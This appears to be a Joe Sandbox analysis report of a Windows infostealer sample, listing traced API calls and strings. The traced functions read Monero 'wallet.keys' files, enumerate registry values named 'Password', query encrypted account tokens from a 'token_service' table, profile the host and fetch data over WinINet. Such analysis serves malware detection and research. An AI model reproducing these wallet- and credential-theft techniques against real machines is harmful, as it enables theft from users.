Part of subcall function 006F12A0: RtlAllocateHeap.NTDLL(00000000), ref: 006F12BB
Part of subcall function 006F12A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 006F12D7
Part of subcall function 006F12A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 006F12F5
Part of subcall function 006F12A0: RegCloseKey.ADVAPI32(?), ref: 006F12FF

lstrcat.KERNEL32(?,00000000), ref: 006F134F
lstrlen.KERNEL32(?), ref: 006F135C
lstrcat.KERNEL32(?,.keys), ref: 006F1377

Part of subcall function 0070A740: lstrcpy.KERNEL32(00710E17,00000000), ref: 0070A788

Part of subcall function 0070A9B0: lstrlen.KERNEL32(?,01238F68,?,\Monero\wallet.keys,00710E17), ref: 0070A9C5
Part of subcall function 0070A9B0: lstrcpy.KERNEL32(00000000), ref: 0070AA04
Part of subcall function 0070A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0070AA12

Part of subcall function 0070A8A0: lstrcpy.KERNEL32(?,00710E17), ref: 0070A905

Part of subcall function 00708B60: GetSystemTime.KERNEL32(00710E1A,0123A900,007105AE,?,?,006F13F9,?,0000001A,00710E1A,00000000,?,01238F68,?,\Monero\wallet.keys,00710E17), ref: 00708B86

Part of subcall function 0070A920: lstrcpy.KERNEL32(00000000,?), ref: 0070A972
Part of subcall function 0070A920: lstrcat.KERNEL32(00000000), ref: 0070A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 006F1465

Part of subcall function 0070A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0070A7E6

Part of subcall function 006F99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006F99EC
Part of subcall function 006F99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 006F9A11
Part of subcall function 006F99C0: LocalAlloc.KERNEL32(00000040,?), ref: 006F9A31
Part of subcall function 006F99C0: ReadFile.KERNEL32(000000FF,?,00000000,006F148F,00000000), ref: 006F9A5A
Part of subcall function 006F99C0: LocalFree.KERNEL32(006F148F), ref: 006F9A90
Part of subcall function 006F99C0: CloseHandle.KERNEL32(000000FF), ref: 006F9A9A

DeleteFileA.KERNEL32(00000000), ref: 006F14EF

Strings

SOFTWARE\monero-project\monero-core, xrefs: 006F1335
.keys, xrefs: 006F136B
\Monero\wallet.keys, xrefs: 006F138D
wallet_path, xrefs: 006F1330

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 80e46e90f03cd42b01e2d1fedb30ce48a1cf84f2fcb29430299fa7e9ffd859fd
Instruction ID: cedfe2f95e76108dcad91b3fe9ea347e7240b2b5a843b8fbf40334604db7f560
Opcode Fuzzy Hash: 80e46e90f03cd42b01e2d1fedb30ce48a1cf84f2fcb29430299fa7e9ffd859fd
Instruction Fuzzy Hash: 915126B1D50219E7C755FB60DD96FED73BCAB54300F4042A8B60AA20C1EE746B89CF96

Function 00707500 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00707542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0070757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00707603
RtlAllocateHeap.NTDLL(00000000), ref: 0070760A
wsprintfA.USER32 ref: 00707640

Part of subcall function 0070A740: lstrcpy.KERNEL32(00710E17,00000000), ref: 0070A788

Strings

q, xrefs: 0070764D, 00707655, 0070761B, 00707623
C, xrefs: 0070754C
\, xrefs: 00707560
:, xrefs: 0070755C

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\$q
API String ID: 1544550907-3038825013
Opcode ID: 00f6fe72c2e737cbe4b2c14f509694adb399e45159abd6017e5b043b1dc95d14
Instruction ID: 1bd54f9c8ae3c646063ee543b50582f0f6c2e354047ff38ea469e7a6559e1345
Opcode Fuzzy Hash: 00f6fe72c2e737cbe4b2c14f509694adb399e45159abd6017e5b043b1dc95d14
Instruction Fuzzy Hash: AE4182B1D04248EBDB14DF94DC49BEEBBB8AF18704F104299F509A72C0D7796A44CFA5

Function 006F75D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 006F72D0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 006F733A
Part of subcall function 006F72D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 006F73B1
Part of subcall function 006F72D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 006F740D
Part of subcall function 006F72D0: GetProcessHeap.KERNEL32(00000000,?), ref: 006F7452
Part of subcall function 006F72D0: HeapFree.KERNEL32(00000000), ref: 006F7459

lstrcat.KERNEL32(2F98D020,007117FC), ref: 006F7606
lstrcat.KERNEL32(2F98D020,00000000), ref: 006F7648
lstrcat.KERNEL32(2F98D020, : ), ref: 006F765A
lstrcat.KERNEL32(2F98D020,00000000), ref: 006F768F
lstrcat.KERNEL32(2F98D020,00711804), ref: 006F76A0
lstrcat.KERNEL32(2F98D020,00000000), ref: 006F76D3
lstrcat.KERNEL32(2F98D020,00711808), ref: 006F76ED
task.LIBCPMTD ref: 006F76FB

Strings

: , xrefs: 006F764E

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: fe6d96a70ffec2b6a179d39d972543c357138f8094785a109953430589f66ff1
Instruction ID: 17625b2c780997bf30b504468f9ab32ea4c41ca8d68c6c070d756a52193d3ef1
Opcode Fuzzy Hash: fe6d96a70ffec2b6a179d39d972543c357138f8094785a109953430589f66ff1
Instruction Fuzzy Hash: 87316CB1914109DFCB44EBB4DC8ADFE73BABB44305B144158F202A72A0DA34A946DF55

Function 00708100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0123E548,00000000,?,00710E2C,00000000,?,00000000), ref: 00708130
RtlAllocateHeap.NTDLL(00000000), ref: 00708137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00708158
__aulldiv.LIBCMT ref: 00708172
__aulldiv.LIBCMT ref: 00708180
wsprintfA.USER32 ref: 007081AC

Strings

@, xrefs: 0070814D
%d MB, xrefs: 007081A3

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: 6ac6cfce327345708c5f5d444eda21c233292a9e16ce098a77538ee73f76f047
Instruction ID: 96ec7c0ac574f717e8a70d69210f3e6757ad55f8792be38f5eae75ef5b698f89
Opcode Fuzzy Hash: 6ac6cfce327345708c5f5d444eda21c233292a9e16ce098a77538ee73f76f047
Instruction Fuzzy Hash: 2121F9B1A44218EBDB10DFD4DC49FAEB7B8EB44B10F104609F605BB2C0D77869018BA6

Function 006F72D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 006F733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 006F73B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 006F740D
GetProcessHeap.KERNEL32(00000000,?), ref: 006F7452
HeapFree.KERNEL32(00000000), ref: 006F7459
task.LIBCPMTD ref: 006F7555

Strings

Password, xrefs: 006F7401

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: 87f1ea82100ac72f37a758f511f675e4495d1616143badaabeb5ce3b791c98ed
Instruction ID: ef21d6cfd8bf3b30c1a09306ba8bafc55dc216b1c6a4193b72f6bb9e593ead61
Opcode Fuzzy Hash: 87f1ea82100ac72f37a758f511f675e4495d1616143badaabeb5ce3b791c98ed
Instruction Fuzzy Hash: 19613BB591416C9BDB24DB50CC45BE9B7B9BF44300F0081E9E689A6281DFB06BC9CFA4

Function 006FBA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0070A740: lstrcpy.KERNEL32(00710E17,00000000), ref: 0070A788

Part of subcall function 0070A9B0: lstrlen.KERNEL32(?,01238F68,?,\Monero\wallet.keys,00710E17), ref: 0070A9C5
Part of subcall function 0070A9B0: lstrcpy.KERNEL32(00000000), ref: 0070AA04
Part of subcall function 0070A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0070AA12

Part of subcall function 0070A920: lstrcpy.KERNEL32(00000000,?), ref: 0070A972
Part of subcall function 0070A920: lstrcat.KERNEL32(00000000), ref: 0070A982

Part of subcall function 0070A8A0: lstrcpy.KERNEL32(?,00710E17), ref: 0070A905

Part of subcall function 0070A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0070A7E6

lstrlen.KERNEL32(00000000), ref: 006FBC9F

Part of subcall function 00708E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00708E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 006FBCCD
lstrlen.KERNEL32(00000000), ref: 006FBDA5
lstrlen.KERNEL32(00000000), ref: 006FBDB9

Strings

AccountId, xrefs: 006FBCC4
AccountTokens, xrefs: 006FBB49
AccountTokens, xrefs: 006FBABA
SELECT service, encrypted_token FROM token_service, xrefs: 006FBBEB

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BDF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964386132.0000000000BEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964488608.0000000000D8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964503749.0000000000D90000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: dc616cade0ec55e76a913b54013ebb939e94a04c8b43de31f4ba9767677312c8
Instruction ID: e9e170bebebd322208773db909a4dfa23153559ddaad259ef31abe70b08961b0
Opcode Fuzzy Hash: dc616cade0ec55e76a913b54013ebb939e94a04c8b43de31f4ba9767677312c8
Instruction Fuzzy Hash: C5B11671910208EBDB15FBA4DD5AEEE73B9AF54300F404268F507A61D1EF386E49CB62

Function 006F4FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 006F4FCA
RtlAllocateHeap.NTDLL(00000000), ref: 006F4FD1
InternetOpenA.WININET(00710DDF,00000000,00000000,00000000,00000000), ref: 006F4FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 006F5011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 006F5041
InternetCloseHandle.WININET(?), ref: 006F50B9
InternetCloseHandle.WININET(?), ref: 006F50C6

Memory Dump Source

Source File: 00000000.00000002.1963816981.00000000006F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006F0000, based on PE: true

Associated: 00000000.00000002.1963799335.00000000006F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000074A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000778000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000077F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000782000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.0000000000895000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1963816981.00000000008BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.000000000094E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000AD1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1964134171.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
